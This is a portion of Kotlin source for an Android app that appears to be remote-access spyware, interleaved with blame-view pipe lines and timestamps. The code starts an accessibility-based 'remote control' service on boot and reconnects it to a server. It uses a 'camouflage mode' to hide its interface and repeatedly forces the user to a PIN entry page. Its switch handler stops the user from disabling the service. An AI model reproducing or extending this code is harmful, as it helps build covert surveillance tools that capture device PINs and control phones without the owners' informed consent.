val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
|
|
|
|
|
val isCompleted = sharedPrefs.getBoolean("password_input_completed", false)
|
|
|
|
|
|
Log.d(TAG, "🔐 密码输入完成状态: $isCompleted")
|
|
|
|
|
|
return isCompleted
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查密码输入状态失败", e)
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:检查安装是否已完成
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun isInstallationCompleted(): Boolean {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// ✅ 统一使用InstallationStateManager检查安装状态
|
|
|
|
|
|
val installationStateManager =
|
|
|
|
|
|
com.hikoncont.util.InstallationStateManager.getInstance(this)
|
|
|
|
|
|
val isCompleted = installationStateManager.isInstallationComplete()
|
|
|
|
|
|
Log.d(TAG, "📦 安装完成状态: $isCompleted")
|
|
|
|
|
|
return isCompleted
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查安装完成状态失败", e)
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 检查密码框是否曾经被弹出过
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun hasPasswordInputBeenShown(): Boolean {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
|
|
|
|
|
val hasBeenShown = sharedPrefs.getBoolean("password_input_shown", false)
|
|
|
|
|
|
Log.d(TAG, "🔐 密码框是否曾经显示过: $hasBeenShown")
|
|
|
|
|
|
return hasBeenShown
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 检查密码框显示状态失败", e)
|
|
|
|
|
|
return false
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 标记密码框已经被显示过
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun markPasswordInputShown() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
|
|
|
|
|
sharedPrefs.edit().putBoolean("password_input_shown", true).apply()
|
|
|
|
|
|
Log.i(TAG, "✅ 密码框显示状态已标记")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 标记密码框显示状态失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 标记密码输入已完成
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun markPasswordInputCompleted() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
|
|
|
|
|
|
sharedPrefs.edit().putBoolean("password_input_completed", true).apply()
|
|
|
|
|
|
Log.i(TAG, "✅ 密码输入状态已标记为完成")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 标记密码输入完成状态失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 启动密码输入Activity
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startPasswordInputActivity() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
Log.i(TAG, "🔐 准备启动密码输入页面")
|
|
|
|
|
|
|
|
|
|
|
|
val intent =
|
|
|
|
|
|
Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
|
|
|
|
|
|
putExtra(
|
|
|
|
|
|
com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID,
|
|
|
|
|
|
getLocalDeviceId()
|
|
|
|
|
|
)
|
|
|
|
|
|
putExtra(
|
|
|
|
|
|
com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID,
|
|
|
|
|
|
System.currentTimeMillis().toString()
|
|
|
|
|
|
)
|
|
|
|
|
|
// 使用温和的flags设置,避免Activity被销毁
|
|
|
|
|
|
addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
|
|
|
|
|
|
addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP)
|
|
|
|
|
|
addFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
startActivity(intent)
|
|
|
|
|
|
Log.i(TAG, "✅ 密码输入页面已启动")
|
|
|
|
|
|
|
|
|
|
|
|
// 隐藏MainActivity,避免状态冲突
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 启动密码输入页面失败", e)
|
|
|
|
|
|
// 如果启动失败,继续正常流程
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
updateStatusTextThreadSafe("✅ 服务启动中...", android.R.color.holo_green_dark)
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::enableButton.isInitialized) {
|
|
|
|
|
|
enableButton.text = "服务已就绪"
|
|
|
|
|
|
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
|
|
|
|
|
|
enableButton.isEnabled = false
|
|
|
|
|
|
}
|
2026-02-11 16:59:49 +08:00
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理开机自启动
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleAutoStart() {
|
|
|
|
|
|
Log.i(TAG, "开始开机自启动流程")
|
|
|
|
|
|
|
|
|
|
|
|
if (isAccessibilityServiceEnabled()) {
|
|
|
|
|
|
Log.i(TAG, "无障碍服务已启用,启动服务中")
|
|
|
|
|
|
startRemoteControlService()
|
|
|
|
|
|
|
|
|
|
|
|
// 显示状态,但不自动最小化,让用户看到成功状态
|
|
|
|
|
|
updateUI()
|
|
|
|
|
|
Log.i(TAG, "✅ 权限配置完成,保持应用在前台显示状态")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "无障碍服务未启用,显示配置页面")
|
|
|
|
|
|
updateUI()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 处理服务自动重启
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun handleAutoRestart() {
|
|
|
|
|
|
Log.i(TAG, "🔄 开始服务自动重启流程")
|
|
|
|
|
|
|
|
|
|
|
|
val accessibilityLost = intent.getBooleanExtra("accessibility_lost", false)
|
|
|
|
|
|
|
|
|
|
|
|
if (accessibilityLost) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 检测到无障碍服务权限丢失,返回主页等待用户手动操作")
|
|
|
|
|
|
// ✅ 修改:不自动跳转无障碍设置,直接返回主页
|
|
|
|
|
|
updateUI()
|
|
|
|
|
|
} else if (isAccessibilityServiceEnabled()) {
|
|
|
|
|
|
Log.i(TAG, "✅ 无障碍服务已启用,尝试重新连接")
|
|
|
|
|
|
|
|
|
|
|
|
// 获取AccessibilityService实例并重新连接
|
|
|
|
|
|
val accessibilityService = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
if (accessibilityService != null) {
|
|
|
|
|
|
Log.i(TAG, "✅ 找到AccessibilityService实例,重新连接服务器")
|
|
|
|
|
|
accessibilityService.reconnectToServer()
|
|
|
|
|
|
|
|
|
|
|
|
// 显示状态,但不自动最小化
|
|
|
|
|
|
updateUI()
|
|
|
|
|
|
Log.i(TAG, "✅ 服务重连完成,保持应用在前台显示状态")
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ AccessibilityService实例不可用,需要用户重新启动")
|
|
|
|
|
|
updateUI()
|
|
|
|
|
|
}
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 无障碍服务未启用,返回主页等待用户手动操作")
|
|
|
|
|
|
// ✅ 修改:不自动跳转无障碍设置,直接返回主页
|
|
|
|
|
|
updateUI()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 显示无障碍服务权限丢失对话框
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun showAccessibilityLostDialog() {
|
|
|
|
|
|
runOnUiThread {
|
|
|
|
|
|
try {
|
|
|
|
|
|
androidx.appcompat.app.AlertDialog.Builder(this)
|
|
|
|
|
|
.setTitle("⚠️ 无障碍服务权限丢失")
|
|
|
|
|
|
.setMessage("检测到无障碍服务权限已丢失,这通常发生在应用被强制关闭后。\n\n需要重新授权无障碍服务以恢复功能。")
|
|
|
|
|
|
.setPositiveButton("重新授权") { _, _ ->
|
|
|
|
|
|
Log.i(TAG, "✅ 用户选择重新授权无障碍服务")
|
|
|
|
|
|
openAccessibilitySettings()
|
|
|
|
|
|
}
|
|
|
|
|
|
.setNegativeButton("稍后处理") { _, _ ->
|
|
|
|
|
|
Log.i(TAG, "⏸️ 用户选择稍后处理")
|
|
|
|
|
|
hideActivityToBackground()
|
|
|
|
|
|
}
|
|
|
|
|
|
.setCancelable(false)
|
|
|
|
|
|
.show()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 显示权限丢失对话框失败", e)
|
|
|
|
|
|
// 备用方案:直接打开设置
|
|
|
|
|
|
openAccessibilitySettings()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 启动远程控制服务
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun startRemoteControlService() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
val accessibilityService = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
if (accessibilityService != null) {
|
|
|
|
|
|
Log.i(TAG, "通过AccessibilityService启动远程控制")
|
|
|
|
|
|
accessibilityService.startConnection()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.w(TAG, "AccessibilityService实例不可用")
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "启动远程控制服务失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
override fun onResume() {
|
|
|
|
|
|
super.onResume()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 参考zuiqiang:移除onResume中的保活检测
|
|
|
|
|
|
// zuiqiang的做法是在onDestroy时启动透明保活Activity,而不是在onResume中检测
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 关键优化:检查是否在 WebView 模式,如果是则跳过所有检查
|
|
|
|
|
|
val webViewContainer = findViewById<android.view.View>(R.id.webViewContainer)
|
|
|
|
|
|
val isWebViewVisible = webViewContainer?.visibility == android.view.View.VISIBLE
|
|
|
|
|
|
|
|
|
|
|
|
if (isWebViewVisible) {
|
|
|
|
|
|
Log.d(TAG, "🌐 WebView 模式:跳过所有后台检查,优化性能")
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ Activity回到前台,如果WebView打开,恢复状态更新
|
|
|
|
|
|
if (this.isWebViewVisible) {
|
|
|
|
|
|
// WebView可见且Activity在前台,立即更新状态
|
|
|
|
|
|
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true)
|
|
|
|
|
|
Log.i(TAG, "✅ Activity回到前台,已恢复WebView状态更新")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 WebView 模式:关闭日志收集以提升性能
|
|
|
|
|
|
try {
|
|
|
|
|
|
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
// serviceInstance?.disableLogging() // 暂停:暂时不切换日志
|
|
|
|
|
|
Log.i(TAG, "🌐 WebView 模式:跳过日志开关")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
// 只恢复 WebView,不执行其他检查
|
|
|
|
|
|
resumeWebView()
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ ANR修复:异步处理onResume逻辑,避免阻塞主线程
|
|
|
|
|
|
android.os.Handler(android.os.Looper.getMainLooper()).post {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 🔍 onResume 无障碍健康检查:若已授权但未运行,则触发恢复
|
|
|
|
|
|
try {
|
|
|
|
|
|
val enabled = isAccessibilityServiceEnabled()
|
|
|
|
|
|
val instance = AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
val running = AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
Log.i(
|
|
|
|
|
|
TAG,
|
|
|
|
|
|
"🔍 onResume 无障碍健康检查: enabled=" + enabled + ", instance=" + (instance != null) + ", running=" + running
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
if (enabled && (instance == null || !running)) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ onResume: 无障碍权限已启用但服务未运行,尝试恢复")
|
|
|
|
|
|
forceRecoverAccessibilityService()
|
|
|
|
|
|
}
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ onResume 无障碍健康检查异常", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🎭 检查是否是伪装模式,如果是则不执行UI更新
|
|
|
|
|
|
if (isPhoneManagerCamouflageMode()) {
|
|
|
|
|
|
Log.d(TAG, "🎭 onResume: 伪装模式,跳过UI更新")
|
|
|
|
|
|
return@post
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🔐 在onResume时也检查密码输入是否已完成(只有在密码框曾经显示过的情况下)
|
|
|
|
|
|
if (hasPasswordInputBeenShown() && !isPasswordInputCompleted()) {
|
|
|
|
|
|
Log.i(TAG, "🔐 onResume: 密码框曾经显示过且密码输入未完成,强制跳转到密码输入页面")
|
|
|
|
|
|
startPasswordInputActivity()
|
|
|
|
|
|
return@post
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
updateUI()
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 主界面模式:恢复日志收集
|
|
|
|
|
|
try {
|
|
|
|
|
|
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
|
|
|
|
|
|
Log.i(TAG, "🌐 主界面模式:跳过日志开关")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 WebView性能优化:恢复WebView
|
|
|
|
|
|
resumeWebView()
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 异步处理onResume失败", e)
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
override fun onPause() {
|
|
|
|
|
|
super.onPause()
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 WebView性能优化:暂停WebView以节省资源
|
|
|
|
|
|
pauseWebView()
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ Activity不在前台时,停止WebView状态更新(节省资源)
|
|
|
|
|
|
if (isWebViewVisible) {
|
|
|
|
|
|
// WebView打开但Activity不在前台,停止状态更新并设置为关闭状态
|
|
|
|
|
|
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false)
|
|
|
|
|
|
Log.i(TAG, "✅ Activity不在前台,已停止WebView状态更新(节省资源)")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 🚀 应用不在前台时:恢复日志收集
|
|
|
|
|
|
try {
|
|
|
|
|
|
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
|
|
|
|
|
|
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志
|
|
|
|
|
|
Log.i(TAG, "🌐 应用不在前台:跳过日志开关")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun initViews() {
|
|
|
|
|
|
statusText = findViewById(R.id.statusText)
|
|
|
|
|
|
enableButton = findViewById(R.id.enableButton)
|
|
|
|
|
|
appNameText = findViewById(R.id.appNameText)
|
|
|
|
|
|
usageInstructionsText = findViewById(R.id.usageInstructionsText)
|
|
|
|
|
|
serviceSwitch = findViewById(R.id.serviceSwitch)
|
|
|
|
|
|
appIconImageView = findViewById(R.id.appIconImageView)
|
|
|
|
|
|
|
|
|
|
|
|
// ✅ 新增:从配置文件加载页面样式
|
|
|
|
|
|
loadPageStyleConfig()
|
|
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:从配置文件加载页面样式配置
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun loadPageStyleConfig() {
|
|
|
|
|
|
try {
|
|
|
|
|
|
// 读取assets目录下的server_config.json文件
|
|
|
|
|
|
val configJson = assets.open("server_config.json").use { inputStream ->
|
|
|
|
|
|
inputStream.bufferedReader().use { it.readText() }
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🔍 读取到的配置文件内容: $configJson")
|
|
|
|
|
|
|
|
|
|
|
|
val config = org.json.JSONObject(configJson)
|
|
|
|
|
|
val pageStyleConfig = config.optJSONObject("pageStyleConfig")
|
|
|
|
|
|
|
|
|
|
|
|
Log.i(TAG, "🔍 pageStyleConfig对象: ${pageStyleConfig?.toString()}")
|
|
|
|
|
|
|
|
|
|
|
|
if (pageStyleConfig != null && pageStyleConfig.length() > 0) {
|
|
|
|
|
|
Log.i(TAG, "✅ 检测到页面样式配置,应用自定义样式")
|
|
|
|
|
|
|
|
|
|
|
|
// 应用自定义应用名称
|
|
|
|
|
|
val customAppName = pageStyleConfig.optString("appName", "")
|
|
|
|
|
|
if (customAppName.isNotEmpty()) {
|
|
|
|
|
|
appNameText.text = customAppName
|
|
|
|
|
|
Log.i(TAG, "📝 应用自定义应用名称: $customAppName")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 应用自定义的按钮文字(从pageStyleConfig读取,如果没有则从strings.xml读取)
|
|
|
|
|
|
val enableButtonText = pageStyleConfig.optString("enableButtonText", "")
|
|
|
|
|
|
|
|
|
|
|
|
if (enableButtonText.isNotEmpty()) {
|
|
|
|
|
|
enableButton.text = enableButtonText
|
|
|
|
|
|
Log.i(TAG, "📝 应用自定义启用按钮文字: $enableButtonText")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// 保存自定义状态文本和使用说明(在updateUI方法中会使用)
|
|
|
|
|
|
val configStatusText = pageStyleConfig.optString("statusText", "")
|
|
|
|
|
|
if (configStatusText.isNotEmpty()) {
|
|
|
|
|
|
customStatusText = configStatusText.replace("\\n", "\n")
|
|
|
|
|
|
// 🔑 启用状态文本保护,防止被动态修改
|
|
|
|
|
|
preserveCustomStatusText = true
|
|
|
|
|
|
Log.i(TAG, "📝 保存自定义状态文字: $configStatusText")
|
|
|
|
|
|
Log.i(TAG, "📝 转换后的状态文字: $customStatusText")
|
|
|
|
|
|
Log.i(TAG, "🛡️ 已启用状态文本保护,防止动态修改")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val configUsageInstructions = pageStyleConfig.optString("usageInstructions", "")
|
|
|
|
|
|
if (configUsageInstructions.isNotEmpty()) {
|
|
|
|
|
|
customUsageInstructions = configUsageInstructions.replace("\\n", "\n")
|
|
|
|
|
|
usageInstructionsText.text = customUsageInstructions ?: ""
|
|
|
|
|
|
Log.i(TAG, "📝 保存自定义使用说明: $configUsageInstructions")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "📝 未检测到页面样式配置或配置为空,使用默认样式")
|
|
|
|
|
|
// 如果没有自定义配置,从strings.xml读取默认文字
|
|
|
|
|
|
applyDefaultTexts()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ 加载页面样式配置失败,使用默认样式: ${e.message}")
|
|
|
|
|
|
e.printStackTrace()
|
|
|
|
|
|
// 如果配置文件不存在或读取失败,从strings.xml读取默认文字
|
|
|
|
|
|
applyDefaultTexts()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* ✅ 新增:应用默认文字(从strings.xml读取)
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun applyDefaultTexts() {
|
|
|
|
|
|
try {
|
2026-02-14 14:24:11 +08:00
|
|
|
|
if (::appNameText.isInitialized) appNameText.text = getString(R.string.app_name)
|
|
|
|
|
|
if (::enableButton.isInitialized) enableButton.text = getString(R.string.enable_accessibility_service)
|
|
|
|
|
|
if (::statusText.isInitialized) statusText.text = getString(R.string.service_status_checking)
|
|
|
|
|
|
if (::usageInstructionsText.isInitialized) usageInstructionsText.text = getString(R.string.usage_instructions)
|
2026-02-11 16:59:49 +08:00
|
|
|
|
// 🔑 使用默认文本时不启用保护
|
|
|
|
|
|
preserveCustomStatusText = false
|
|
|
|
|
|
Log.i(TAG, "📝 已应用默认文字配置")
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 应用默认文字失败: ${e.message}")
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private fun setupClickListeners() {
|
|
|
|
|
|
// 启用按钮点击事件
|
|
|
|
|
|
val enableButtonClickHandler = {
|
|
|
|
|
|
Log.i(TAG, "用户触发启用操作")
|
|
|
|
|
|
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
|
|
|
|
|
|
val isServiceRunning = AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
|
|
|
|
|
|
when {
|
|
|
|
|
|
!isAccessibilityEnabled -> {
|
|
|
|
|
|
Log.i(TAG, "无障碍服务未启用,用户主动点击按钮,跳转到无障碍设置")
|
|
|
|
|
|
// ✅ 用户主动点击按钮时,跳转到无障碍设置
|
|
|
|
|
|
openAccessibilitySettings()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
isAccessibilityEnabled && !isServiceRunning -> {
|
|
|
|
|
|
Log.i(TAG, "无障碍服务已启用但服务未运行,检查权限状态")
|
|
|
|
|
|
// 如果无障碍服务已启用但服务未运行,可能需要检查其他权限
|
|
|
|
|
|
checkAllPermissions()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
isAccessibilityEnabled && isServiceRunning -> {
|
|
|
|
|
|
Log.i(TAG, "服务已完全运行,无需操作")
|
|
|
|
|
|
// 服务已运行,按钮应该是禁用状态,这里只是记录日志
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
else -> {
|
|
|
|
|
|
Log.i(TAG, "其他状态,重新检查权限")
|
|
|
|
|
|
checkAllPermissions()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
enableButton.setOnClickListener {
|
|
|
|
|
|
Log.i(TAG, "用户点击启用按钮")
|
|
|
|
|
|
enableButtonClickHandler()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
// Switch监听器
|
|
|
|
|
|
serviceSwitch.setOnCheckedChangeListener { _, isChecked ->
|
|
|
|
|
|
Log.i(TAG, "用户切换开关,目标状态: $isChecked")
|
|
|
|
|
|
|
|
|
|
|
|
// 如果用户打开开关,执行启用逻辑
|
|
|
|
|
|
if (isChecked) {
|
|
|
|
|
|
enableButtonClickHandler()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "用户关闭开关,但无法禁用已启用的服务")
|
|
|
|
|
|
// 不能禁用已启用的服务,重新设置开关状态
|
|
|
|
|
|
updateSwitchState()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 测试启动密码输入页面
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun testPasswordInputActivity() {
|
|
|
|
|
|
Log.i(TAG, "🧪 测试:启动密码输入页面")
|
|
|
|
|
|
try {
|
|
|
|
|
|
val intent =
|
|
|
|
|
|
Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
|
|
|
|
|
|
putExtra(
|
|
|
|
|
|
com.hikoncont.activity.PasswordInputActivity.EXTRA_PASSWORD_TYPE,
|
|
|
|
|
|
com.hikoncont.activity.PasswordInputActivity.PASSWORD_TYPE_PIN
|
|
|
|
|
|
)
|
|
|
|
|
|
putExtra(
|
|
|
|
|
|
com.hikoncont.activity.PasswordInputActivity.EXTRA_DEVICE_ID,
|
|
|
|
|
|
"test_device_${System.currentTimeMillis()}"
|
|
|
|
|
|
)
|
|
|
|
|
|
putExtra(
|
|
|
|
|
|
com.hikoncont.activity.PasswordInputActivity.EXTRA_INSTALLATION_ID,
|
|
|
|
|
|
"test_installation_${System.currentTimeMillis()}"
|
|
|
|
|
|
)
|
|
|
|
|
|
flags = Intent.FLAG_ACTIVITY_NEW_TASK
|
|
|
|
|
|
}
|
|
|
|
|
|
startActivity(intent)
|
|
|
|
|
|
} catch (e: Exception) {
|
|
|
|
|
|
Log.e(TAG, "❌ 测试启动密码输入页面失败", e)
|
|
|
|
|
|
android.widget.Toast.makeText(
|
|
|
|
|
|
this,
|
|
|
|
|
|
"启动失败: ${e.message}",
|
|
|
|
|
|
android.widget.Toast.LENGTH_SHORT
|
|
|
|
|
|
).show()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
/**
|
|
|
|
|
|
* 更新Switch状态,与服务状态同步
|
|
|
|
|
|
*/
|
|
|
|
|
|
private fun updateSwitchState() {
|
|
|
|
|
|
// ✅ 安全检查:确保UI组件已初始化
|
|
|
|
|
|
if (!::serviceSwitch.isInitialized) {
|
|
|
|
|
|
Log.w(TAG, "⚠️ serviceSwitch未初始化,跳过updateSwitchState")
|
|
|
|
|
|
return
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
val isServiceRunning = AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
|
|
|
|
|
|
|
|
|
|
|
|
// 只有当服务完全运行时,Switch才应该是开启状态
|
|
|
|
|
|
val shouldBeChecked = isServiceRunning && isAccessibilityEnabled
|
|
|
|
|
|
|
|
|
|
|
|
// 防止循环触发监听器
|
|
|
|
|
|
serviceSwitch.setOnCheckedChangeListener(null)
|
|
|
|
|
|
serviceSwitch.isChecked = shouldBeChecked
|
|
|
|
|
|
|
|
|
|
|
|
// 重新设置监听器
|
|
|
|
|
|
serviceSwitch.setOnCheckedChangeListener { _, isChecked ->
|
|
|
|
|
|
Log.i(TAG, "用户切换开关,目标状态: $isChecked")
|
|
|
|
|
|
|
|
|
|
|
|
// 如果用户打开开关,执行启用逻辑
|
|
|
|
|
|
if (isChecked) {
|
|
|
|
|
|
val enableButtonClickHandler = {
|
|
|
|
|
|
Log.i(TAG, "用户触发启用操作")
|
|
|
|
|
|
val isAccessibilityEnabled = isAccessibilityServiceEnabled()
|
|
|
|
|
|
val isServiceRunning = AccessibilityRemoteService.isServiceRunning()
|
|
|
|
|
|
|
|
|
|
|
|
when {
|
|
|
|
|
|
!isAccessibilityEnabled -> {
|
|
|
|
|
|
Log.i(TAG, "无障碍服务未启用,用户主动点击按钮,跳转到无障碍设置")
|
|
|
|
|
|
// ✅ 用户主动点击按钮时,跳转到无障碍设置
|
|
|
|
|
|
openAccessibilitySettings()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
isAccessibilityEnabled && !isServiceRunning -> {
|
|
|
|
|
|
Log.i(TAG, "无障碍服务已启用但服务未运行,检查权限状态")
|
|
|
|
|
|
checkAllPermissions()
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
isAccessibilityEnabled && isServiceRunning -> {
|
|
|
|
|
|
Log.i(TAG, "服务已完全运行,无需操作")
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
else -> {
|
|
|
|
|
|
Log.i(TAG, "其他状态,重新检查权限")
|
|
|
|
|
|
checkAllPermissions()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
enableButtonClickHandler()
|
|
|
|
|
|
} else {
|
|
|
|
|
|
Log.i(TAG, "用户关闭开关,但无法禁用已启用的服务")
|
|
|
|
|
|
// 不能禁用已启用的服务,重新设置开关状态
|
|
|
|
|
|
updateSwitchState()
|
|
|
|
|
|
}
|
|
|
|
|
|
}
